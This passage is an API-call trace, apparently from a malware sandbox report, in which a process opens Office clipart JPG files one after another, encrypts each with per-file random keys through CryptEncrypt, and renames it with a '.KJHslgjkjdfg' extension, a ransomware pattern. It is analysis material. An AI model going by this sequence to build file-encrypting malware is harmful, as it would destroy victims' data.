pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ce60, dwBufLen=0x1ce60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ce60) returned 1 [0213.530] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.530] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1ce60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1ce60, lpOverlapped=0x0) returned 1 [0213.531] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.531] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1cf34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.531] SetEndOfFile (hFile=0x130) returned 1 [0213.532] GetProcessHeap () returned 0x2ef0000 [0213.532] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.532] GetProcessHeap () returned 0x2ef0000 [0213.532] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.532] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg.kjhslgjkjdfg")) returned 1 [0213.534] CloseHandle (hObject=0x130) returned 1 [0213.534] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1672c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382926.JPG", cAlternateFileName="")) returned 1 [0213.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.535] GetProcessHeap () returned 0x2ef0000 [0213.535] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.535] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.535] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.538] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.538] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.538] GetProcessHeap () returned 0x2ef0000 [0213.538] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.538] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.538] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.538] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.538] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.538] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.538] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.538] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.539] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.539] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.539] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.539] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.539] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1672c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1672c, lpOverlapped=0x0) returned 1 [0213.541] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16730, dwBufLen=0x16730 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16730) returned 1 [0213.543] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.543] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x16730, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x16730, lpOverlapped=0x0) returned 1 [0213.543] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.543] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x16804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.543] SetEndOfFile (hFile=0x130) returned 1 [0213.547] GetProcessHeap () returned 0x2ef0000 [0213.547] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.547] GetProcessHeap () returned 0x2ef0000 [0213.547] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.547] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg.kjhslgjkjdfg")) returned 1 [0213.549] CloseHandle (hObject=0x130) returned 1 [0213.549] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f86c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382927.JPG", cAlternateFileName="")) returned 1 [0213.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.550] GetProcessHeap () returned 0x2ef0000 [0213.550] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.550] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.550] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.550] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.555] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.555] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.555] GetProcessHeap () returned 0x2ef0000 [0213.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.555] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.555] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.555] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.555] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.555] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.555] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.555] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.555] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.555] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.556] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.556] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.556] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f86c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1f86c, lpOverlapped=0x0) returned 1 [0213.558] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f870, dwBufLen=0x1f870 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f870) returned 1 [0213.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.560] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f870, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f870, lpOverlapped=0x0) returned 1 [0213.560] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.560] SetEndOfFile (hFile=0x130) returned 1 [0213.564] GetProcessHeap () returned 0x2ef0000 [0213.564] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.564] GetProcessHeap () returned 0x2ef0000 [0213.564] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.564] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg.kjhslgjkjdfg")) returned 1 [0213.566] CloseHandle (hObject=0x130) returned 1 [0213.566] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b83a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382930.JPG", cAlternateFileName="")) returned 1 [0213.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.567] GetProcessHeap () returned 0x2ef0000 [0213.567] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.567] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.567] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.567] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0213.570] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.570] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.570] GetProcessHeap () returned 0x2ef0000 [0213.570] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.570] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.570] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.570] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.570] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.570] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.570] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.571] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.571] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.571] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.571] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.571] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.571] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1b83a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1b83a, lpOverlapped=0x0) returned 1 [0213.573] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b840, dwBufLen=0x1b840 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b840) returned 1 [0213.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.575] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b840, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b840, lpOverlapped=0x0) returned 1 [0213.575] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.575] SetEndOfFile (hFile=0x130) returned 1 [0213.579] GetProcessHeap () returned 0x2ef0000 [0213.579] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.579] GetProcessHeap () returned 0x2ef0000 [0213.579] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.579] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg.kjhslgjkjdfg")) returned 1 [0213.581] CloseHandle (hObject=0x130) returned 1 [0213.581] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df43, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382931.JPG", cAlternateFileName="")) returned 1 [0213.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.582] GetProcessHeap () returned 0x2ef0000 [0213.582] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.582] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.582] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.582] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0213.584] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.584] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.584] GetProcessHeap () returned 0x2ef0000 [0213.584] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.584] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.585] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.585] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.585] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.585] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.585] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.585] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.585] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.585] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.585] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.586] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.586] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1df43, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1df43, lpOverlapped=0x0) returned 1 [0213.588] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1df50, dwBufLen=0x1df50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1df50) returned 1 [0213.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.590] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1df50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1df50, lpOverlapped=0x0) returned 1 [0213.590] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.590] SetEndOfFile (hFile=0x130) returned 1 [0213.598] GetProcessHeap () returned 0x2ef0000 [0213.598] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 